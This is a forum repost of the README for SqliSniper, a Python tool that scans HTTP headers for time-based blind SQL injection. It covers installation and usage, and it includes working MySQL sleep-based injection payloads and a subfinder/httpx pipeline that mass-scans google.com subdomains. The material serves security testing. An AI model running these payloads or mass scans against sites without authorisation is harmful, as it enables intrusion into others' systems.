# SqliSniper | Advanced Time-based Blind SQL Injection Fuzzer For HTTP Headers **URL:** \ **Category:** Tools & Scripts\ **Tags:** programming, hacking\ **Created:** [February 20, 2024, 9:10pm UTC](https://onehack.st/t/sqlisniper-advanced-time-based-blind-sql-injection-fuzzer-for-http-headers/275874 "2024-02-20T21:10:40Z")\ **Posts on this page:** 1\ **Page:** 1
**Author:** ![Prometheus](https://onehack.st/user_avatar/onehack.st/prometheus/32/34950_2.png) [@Prometheus](https://onehack.st/u/Prometheus)\ **Post date:** [February 20, 2024, 9:10pm UTC](https://onehack.st/t/sqlisniper-advanced-time-based-blind-sql-injection-fuzzer-for-http-headers/275874/1 "2024-02-20T21:10:41Z")
# [![httpx](https://github.com/danialhalo/SqliSniper/raw/main/logo.png)](https://github.com/danialhalo/SqliSniper/blob/main/logo.png) [![](https://camo.githubusercontent.com/23ec6ae386c93f005404d3dd0824fc9b37f6748db58cee19c03de10faad91ab1/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f6c6963656e73652d4d49542d5f7265642e737667)](https://opensource.org/licenses/MIT) [![](https://camo.githubusercontent.com/4affb17da5b872f7855ba9601e80015a2d0d0c7a4b7c92b62a9d8f98ffb77d78/68747470733a2f2f696d672e736869656c64732e696f2f747769747465722f666f6c6c6f772f64616e313333372e7376673f6c6f676f3d74776974746572)](https://twitter.com/DanialHalo) [![](https://camo.githubusercontent.com/d0166ccb890522ee72243eaf1744f505d9d5acc867129d9ee0980f2d2ae26eb9/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f4c696e6b6564496e2d3030373742353f6c6f676f3d6c696e6b6564696e266c6f676f436f6c6f723d77686974)](https://www.linkedin.com/in/dan1337/) [Features](https://github.com/danialhalo/SqliSniper#key-features) • [Installation](https://github.com/danialhalo/SqliSniper#installation) • [Usage](https://github.com/danialhalo/SqliSniper#usage) • [Running SqliSniper](https://github.com/danialhalo/SqliSniper#running-sqlisniper) • [Contributing](https://github.com/danialhalo/SqliSniper#contributing) • **SqliSniper** is a robust Python tool designed to detect time-based blind SQL injections in HTTP request headers. It enhances the security assessment process by rapidly scanning and identifying potential vulnerabilities using multi-threaded, ensuring speed and efficiency. Unlike other scanners, SqliSniper is designed to eliminates false positives through and send alerts upon detection, with the built-in Discord notification functionality. [![alt text](https://raw.githubusercontent.com/danialhalo/SqliSniper/main/banner.png)](https://raw.githubusercontent.com/danialhalo/SqliSniper/main/banner.png) ## Key Features - **Time-Based Blind SQL Injection Detection:** Pinpoints potential SQL injection vulnerabilities in HTTP headers. - **Multi-Threaded Scanning:** Offers faster scanning capabilities through concurrent processing. - **Discord Notifications:** Sends alerts via Discord webhook for detected vulnerabilities. - **False Positive Checks:** Implements response time analysis to differentiate between true positives and false alarms. - **Custom Payload and Headers Support:** Allows users to define custom payloads and headers for targeted scanning. ## Installation ```auto git clone https://github.com/danialhalo/SqliSniper.git cd SqliSniper chmod +x sqlisniper.py pip3 install -r requirements.txt ``` # Usage This will display help for the tool. Here are all the options it supports. ```auto ubuntu:~/sqlisniper$ ./sqlisniper.py -h ███████╗ ██████╗ ██╗ ██╗ ███████╗███╗ ██╗██╗██████╗ ███████╗██████╗ ██╔════╝██╔═══██╗██║ ██║ ██╔════╝████╗ ██║██║██╔══██╗██╔════╝██╔══██╗ ███████╗██║ ██║██║ ██║ ███████╗██╔██╗ ██║██║██████╔╝█████╗ ██████╔╝ ╚════██║██║▄▄ ██║██║ ██║ ╚════██║██║╚██╗██║██║██╔═══╝ ██╔══╝ ██╔══██╗ ███████║╚██████╔╝███████╗██║ ███████║██║ ╚████║██║██║ ███████╗██║ ██║ ╚══════╝ ╚══▀▀═╝ ╚══════╝╚═╝ ╚══════╝╚═╝ ╚═══╝╚═╝╚═╝ ╚══════╝╚═╝ ╚═╝ -: By Muhammad Danial :- usage: sqlisniper.py [-h] [-u URL] [-r URLS_FILE] [-p] [--proxy PROXY] [--payload PAYLOAD] [--single-payload SINGLE_PAYLOAD] [--discord DISCORD] [--headers HEADERS] [--threads THREADS] Detect SQL injection by sending malicious queries options: -h, --help show this help message and exit -u URL, --url URL Single URL for the target -r URLS_FILE, --urls_file URLS_FILE File containing a list of URLs -p, --pipeline Read from pipeline --proxy PROXY Proxy for intercepting requests (e.g., http://127.0.0.1:8080) --payload PAYLOAD File containing malicious payloads (default is payloads.txt) --single-payload SINGLE_PAYLOAD Single payload for testing --discord DISCORD Discord Webhook URL --headers HEADERS File containing headers (default is headers.txt) --threads THREADS Number of threads ``` # Running SqliSniper ### Single Url Scan The url can be provided with `-u flag` for single site scan ```auto ./sqlisniper.py -u http://example.com ``` ### File Input The `-r flag` allows SqliSniper to read a file containing multiple URLs for simultaneous scanning. ```auto ./sqlisniper.py -r url.txt ``` ### piping URLs The SqliSniper can also worked with the pipeline input with `-p flag` ```auto cat url.txt | ./sqlisniper.py -p ``` The pipeline feature facilitates seamless integration with other tools. For instance, you can utilize tools like subfinder and httpx, and then pipe their output to SqliSniper for mass scanning. ```auto subfinder -silent -d google.com | sort -u | httpx -silent | ./sqlisniper.py -p ``` ### Scanning with custom payloads By default the SqliSniper use the payloads.txt file. However `--payload flag` can be used for providing custom payloads file. ```auto ./sqlisniper.py -u http://example.com --payload mssql_payloads.txt ``` While using the custom payloads file, ensure that you substitute the sleep time with `% __TIME_OUT__ %`. SqliSniper dynamically adjusts the sleep time iteratively to mitigate potential false positives. The payloads file should look like this. ```auto ubuntu:~/sqlisniper$ cat payloads.txt 0\"XOR(if(now()=sysdate(),sleep(% __TIME_OUT__ %),0))XOR\"Z "0"XOR(if(now()=sysdate()%2Csleep(% __TIME_OUT__ %)%2C0))XOR"Z" 0'XOR(if(now()=sysdate(),sleep(% __TIME_OUT__ %),0))XOR'Z ``` ### Scanning with Single Payloads If you want to only test with the single payload `--single-payload flag` can be used. Make sure to replace the sleep time with `% __TIME_OUT__ %` ```auto ./sqlisniper.py -r url.txt --single-payload "0'XOR(if(now()=sysdate(),sleep(% __TIME_OUT__ %),0))XOR'Z" ``` ### Scanning Custom Header Headers are saved in the file headers.txt for scanning custom header save the custom HTTP Request Header in headers.txt file. ```auto ubuntu:~/sqlisniper$ cat headers.txt User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) X-Forwarded-For: 127.0.0.1 ``` ### Sending Discord Alert Notifications SqliSniper also offers Discord alert notifications, enhancing its functionality by providing real-time alerts through Discord webhooks. This feature proves invaluable during large-scale scans, allowing prompt notifications upon detection. ```auto ./sqlisniper.py -r url.txt --discord ``` ### Multi-Threading Threads can be defined with `--threads flag` ```auto ./sqlisniper.py -r url.txt --threads 10 ``` **Note:** It is crucial to consider that **employing a higher number of threads might lead to potential false positives or overlooking valid issues**. Due to the nature of time-based SQL injection it is recommended to use lower thread for more accurate detection. * * * ## Legal Disclaimer Usage of this tool for attacking targets without prior mutual consent is strictly prohibited. It is the end user’s responsibility to obey all applicable local, state, and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.. * * * # Contributing Contributions to SqliSniper are always welcome. Whether it’s feature enhancements, bug fixes, or documentation improvements, every bit of help is appreciated. # License `SqliSniper` is distributed under [MIT License](https://github.com/danialhalo/SqliSniper/blob/main/LICENSE) ## GitHub: [https://github.com/danialhalo/SqliSniper](https://github.com/danialhalo/SqliSniper)